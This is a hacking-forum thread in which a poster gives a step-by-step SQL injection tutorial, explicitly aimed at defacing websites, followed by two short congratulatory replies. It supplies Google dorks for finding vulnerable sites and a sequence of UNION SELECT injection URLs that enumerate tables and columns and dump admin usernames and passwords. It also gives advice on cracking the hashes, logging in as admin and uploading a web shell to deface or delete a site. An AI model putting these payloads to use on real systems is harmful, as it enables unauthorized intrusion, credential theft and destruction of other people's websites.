DIR Return Create A Forum - Home
---------------------------------------------------------
Pakleetz
HTML https://pakleetz.createaforum.com
---------------------------------------------------------
*****************************************************
DIR Return to: Hacking Tutorials
*****************************************************
#Post#: 3--------------------------------------------------
SQL Injection | Step By Step Tutorial To Deface A Website
DIR By: D4rkF34r
Date: July 8, 2014, 8:57 pm
---------------------------------------------------------
What is SQL Injection?
SQL is Structured Query Language.SQL is used to work on a
database.Different commands are used to update information in
the database.
In this SQL Injection,we make use of vulnerability where we give
our own commands to the website's database and then we
successfully deface it.This vulnerability occurs when the user's
input is not filtered or improperly filtered.
Use the following dorks to find SQL Vulnerable site via google:
inurl:.php?catid=
inurl:.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
,just type any dork in google search and it will show
results.Select any site from there.
Step 1: Check if the site is vulnerable or not.
www.site.com/index.php?id=1
for example, i have choosed this site.The above code is taking
the ID as 1 and returning some values,To check rather it is
vulnerable or not,put a ' at the end of the URL.So now the URL
will be:
www.site.com/index.php?id=1'
Now if you get an error,like in the following image,then it
means that the url is vulnerable and can be exploited.
After putting ' i got the following error.means the site is
vulnerable
HTML http://img855.imageshack.us/img855/7884/can4.png
Step 2: Exploiting the Vulnerability
You have a vulnerable Url
www.site.com/index.php?id=1
Now you have to find how many columns are there,to find it,
put the following in the url
www.site.com/index.php?id=1 order by 1--
after this we get no error.
So we will increase the number until we get an error
www.site.com/index.php?id=1 order by 1-- No
ERROR
www.site.com/index.php?id=1 order by 2-- No
ERROR
www.site.com/index.php?id=1 order by 3-- No
ERROR
www.site.com/index.php?id=1 order by 4-- No
ERROR
www.site.com/index.php?id=1 order by 5-- No
ERROR
www.site.com/index.php?id=1 order by 6-- No
ERROR
www.site.com/index.php?id=1 order by 7-- ERROR
on column 7 we got an error,that means column 7 is not
available,it means that there are 6 columns in the table.
Step 3: Find Vulnerable columns
Now we will use UNION ALL and SELECT command to find a
vulnerable column.Remember to replace that ID number by -
that.like here,i have made it id=-1.
www.site.com/index.php?id=-1 UNION SELECT ALL 1,2,3,4,5,6,--
since it has 6 columns,we do SELECT ALL 1,2,3,4,5,6 put -- at
the end
This will give an output. whichever column number comes out as
bold in the output,that column is vulnerable.just remember this
column number.Assume i got 2 as the vulnerable column.like in
the following image 2 and 3 are vulnerable columns so there are
shown and are bold:
HTML https://imagizer.imageshack.us/v2/962x240q90/820/5act.png
Step 4: Finding Tables
Now we have to find different tables in the database.we will
replace vulnerable column number with the following command so
we do the following:
www.site.com/index.php?id=-1 union select all
1,group_concat(table_name),3,4,5,6 from
information_schema.tables where table_schema=database()--
Here group_concat(table_name) will give you all the table names
in the database. information_schema hold information about the
database.so we are just querying from that.
Step 5: Finding Column names
similarly get all the columns by simply replacing 'table' with
'column'
www.site.com/index.php?id=-1 union select all
1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_schema=database()--
now you will be able to find all the column names from all the
tables.After all the columns from one table, there will be a
'id' and then all columns from next table and so on.
Step 6: Finding Admin usernames and passwords
now in list of columns look for interesting columns like
username and password,so now you should know the table name and
column name you want. in example username and password columns
from tbl_admin table
www.site.com/index.php?id=-1 union select all
1,group_concat(username,0x3a,password),3,4,5,6 from tbl_admin--
now i just put the column names in the group_concat with 0x3a in
between which is ASCII for colon and table_admin is the table
name where these columns are.
now i got output something like
Admin: Admin123
or
Admin:"encrypted hash"
here Admin is username and Admin123 is password,in case if you
find encryted hash you can crack it from the following website:
hashkiller.co.uk/md5-decrypter.aspx
now your job is almost done.Now you will get all the users and
password,usually the password will be encrypted in md5.
Step 7: Defacing
now you have the admin username and password from the previous
step.Now you have to find the admin login page of the site.
you can google for Admin Panel Finder,i have attached a Zip file
containing an admin panel finder you can download it and use it.
the admin panel for my site is:
www.site.com/admin
so here you get a login box,put in the username and password of
the admin and now your logged in! As ADMIN
now do whatever you want like defacing or deleting table etc.
if you want to deface 100% or delete everything, you have to
upload a shell.
Additional step:
Find any upload area in the site where you can upload a file.you
have to upload the shell.php file,ive attached in this
article.once you have uploaded the shell you have to find its
link,if you see a missing image icon like the following:
HTML http://www.underconsideration.com/brandnew/archives/google_broken_image_00_a_logo.gif
then right click on it and select "Copy image location" or
something like that and paste the url in browser and now you
have successfully uploaded your shell! now you can Change or
deface all pages!
If you want to request any tutorial you can post in request
section of our forum.
Thank you for visiting Pak-Leetz
This article is written by D4rk F34r
-D4rk F34r
#Post#: 4--------------------------------------------------
Re: SQL Injection | Step By Step Tutorial To Deface A Website
DIR By: Malik Haxor
Date: July 8, 2014, 9:51 pm
---------------------------------------------------------
Nice Thread Bro... Keep it up :)
#Post#: 5--------------------------------------------------
Re: SQL Injection | Step By Step Tutorial To Deface A Website
DIR By: D4rkF34r
Date: July 8, 2014, 9:54 pm
---------------------------------------------------------
Thank You Bro!
-D4rk F34r
*****************************************************
Page 1 of 1